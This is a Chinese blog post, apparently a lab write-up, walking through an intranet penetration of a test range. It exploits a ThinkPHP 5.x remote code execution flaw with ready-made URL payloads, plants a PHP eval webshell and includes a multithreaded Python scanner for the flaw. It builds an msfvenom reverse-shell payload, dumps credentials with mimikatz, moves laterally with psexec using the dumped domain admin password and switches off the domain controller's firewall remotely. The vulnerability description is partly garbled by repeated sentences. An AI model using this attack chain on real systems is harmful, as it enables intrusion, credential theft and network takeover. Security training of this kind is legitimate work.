当我讲起内网渗透,他们都弃我而去了

前言 在内网渗透的过程中思路才是最重要的,本次内网渗透的主机虽然不多,主要还是锻炼自己内网渗透的一个思想。

环境搭建 靶场:

win7(内):192.168.138.136

win7(外):192.168.10.25

域内主机:

win2008:192.168.138.138

web服务器渗透 nmap探测端口 nmap -T4 -sC -sV 192.168.10.25 这里可以看到几个主要的端口,例如80、135、139、445,这里首先就可以想到可以利用的点有ipc、smb

开了80端口,尝试访问web地址,老笑脸人了,而且还是5.x版本,洞还是比较多

漏洞描述:由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能利用POST[m′ethod′]来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置_POST['_method']来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置POST[m′ethod′]来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置_POST['_method']='__construct'而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。

thinkphp getshell 这里我首先在kali里面找一下有没有相关的漏洞

searchsploit thinkphp

可以看到这里有一个5.x远程执行漏洞,这里直接进入这个文件夹查看一下txt列出来的payload

cd /usr/share/exploitdb/exploits/php/webapps
cat 46150.txt 

找到对应版本后fuzz以下payload,这个是列出数据库名字,这里看到数据库名为root

192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.username 

这个payload应该是列出数据库密码,但是这里没有打出来

192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.password

这里打出phpinfo

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

传参看一下当前权限为administrator

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ipconfig

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tasklist /svc

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[cmd]);?>" > connect.php 
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir 

使用蚁剑连接成功

这里我找到了一个thinkphp漏洞批量检测的脚本

!/usr/bin/env python

-- coding: utf-8 --

name: thinkphp远程代码检测

description: ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞

import re import sys import requests import queue import threading from bs4 import BeautifulSoup class thinkphp_rce(threading.Thread): def init(self, q): threading.Thread.init(self) self.q = q def run(self): while not self.q.empty(): url=self.q.get() headers = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"} payload = r"/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1" vulnurl = url + payload try: response = requests.get(vulnurl, headers=headers, timeout=3, verify=False, allow_redirects=False)

 soup = BeautifulSoup(response.text,"lxml")if 'PHP Version' in str(soup.text):print ('[+] Remote code execution vulnerability exists at the target address')print ('[+] Vulnerability url address ' + vulnurl)with open('target.txt','a') as f1:f1.write(vulnurl+'\n')f1.close()else:print ('[-] There is no remote code execution vulnerability in the target address')except:print ('[!] Destination address cannot be connected') 

def urlget(): with open('url.txt','r')as f: urls=f.readlines() for tmp in urls: if '//' in tmp: url=tmp.strip('\n') urlList.append(url) else: url='http://'+tmp.strip('\n') urlList.append(url) return(urlList) f.close()

if name=="main": print('''----------------扫描开始-------------------

*Made by :tdcoming *For More :t.zsxq.com/Ai2rj6E *MY Heart :t.zsxq.com/A2FQFMN

 _______ _ _  |__ __| | | (_)| |__| |______ _ __ ___ __ ____ _ | | / _` | / __|/ _ \ | '_ ` _ \ | || '_ \/ _` || || (_| || (__| (_) || | | | | || || | | || (_| ||_| \__,_| \___|\___/ |_| |_| |_||_||_| |_| \__, | __/ ||___/ ''')
urlList=[]
urlget()
threads = []
threads_count = 10
q=queue.Queue()
for url in urlList:q.put(url)
for i in range(threads_count):threads.append(thinkphp_rce(q))
for i in threads:i.start()
for i in threads:i.join() 

这里的使用方法很简单:将要检测的目标放在url.txt里面,如果存在漏洞的地址将自动生成一个target.txt文本保存

内网信息搜集 这里使用蚁剑的命令窗口搜集一下本机信息,为administrator权限+双网卡

whoamiipconfig

查看一下域相关信息

net viewnet config workstationnet user /domain

内网渗透 上线msf msf生成一个abc.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -f exe > abc.exe

信息搜集

使用getsystem提权到system,这里因为是靶场的原因getsystem比较容易执行成功

提权后获取一个windows环境下的shell继续对域进行信息搜集

chcp 65001net user /domainnet group "domain computers" /domainnet group "domain controllers" /domainnet group "domain admins" /domain

获取凭证

这里因为有两个网段就先把路由添加上方便后续操作

# msf操作route add 192.168.138.0 255.255.255.0 2route print # session操作run autoroute -s 192.168.138.0/24run autoroute -p

sessions -i 2load kiwikiwi_cmd privilege::debugpsmigrate 1144kiwi_cmd sekurlsa::logonPasswords

这里可以看到抓取到了一个域管的密码为dc123.com和一个靶机的密码123.com

内网横向移动 MS17-010尝试 这里直接使用ms17-010的攻击模块进行尝试,这里其实应该先用扫描模块对处于另一网段的主机进行漏洞扫描,若存在永恒之蓝漏洞才继续使用exp模块进行攻击,这里我为了演示方便就直接上手exp模块进行攻击了

我们知道psexec的原理就是使用了管道,ipc连接也同理。那么在匿名管带不开启的情况下永恒之蓝的连接是建立不上的。这里再说一下匿名管道的概念:

管道是IPC最基本的一种实现机制。我们都知道在Linux下“一切皆文件”,其实这里的管道就是一个文件。管道实现进程通信就是让两个进程都能访问该文件。管道的特征:①只提供单向通信,也就是说,两个进程都能访问这个文件,假设进程1往文件内写东西,那么进程2 就只能读取文件的内容。②只能用于具有血缘关系的进程间通信,通常用于父子进程建通信③管道是基于字节流来通信的④依赖于文件系统,它的生命周期随进程的结束结束(随进程)⑤其本身自带同步互斥效果

设置参数如下所示,这里注意一下SMBPass这个地方也能够通过hash进行传递,也能够通过明文密码进行传递

use exploit/windows/smb/psexecset rhost 192.168.138.138set SMBDomain SUNset SMBUser administratorset SMBPass dc123.comset payload windows/meterpreter/bind_tcprun

这里可以看到exp已经利用了但是没有session反弹回来,这里我猜测是以为防火墙阻止了端口流量的进出,所以这里我们就需要通过ipc连接去关闭域控的防火墙

netsh advfirewall firewall add rule name="f.exe" dir=in program="e:\f.exe" action=allownetsh advfirewall firewall delete rule name="f.exe" 将session挂在后台并与域控建立ipc连接

net use \\192.168.138.138\ipc$ dc123.com /user:administrator 这里可以看到连接已经建立成功了

sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"# 创建服务sc \\192.168.138.138 start unablefirewall# 立即启动服务 

这里可以看到防火墙已经被关闭了

使用socks_proxy模块

use auxiliary/server/socks_proxtset viersion 4arun 这里还需要配置proxychain文件

socks4 192.168.10.11 1080

run autoroute -s 192.168.138.0/24run autoroute -p

proxychain4 rdesktop 192.168.138.138

< img src="https://hnxx.oss-cn-shanghai.aliyuncs.com/official/1678694737820.png?t=0.6334725112165747" />

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值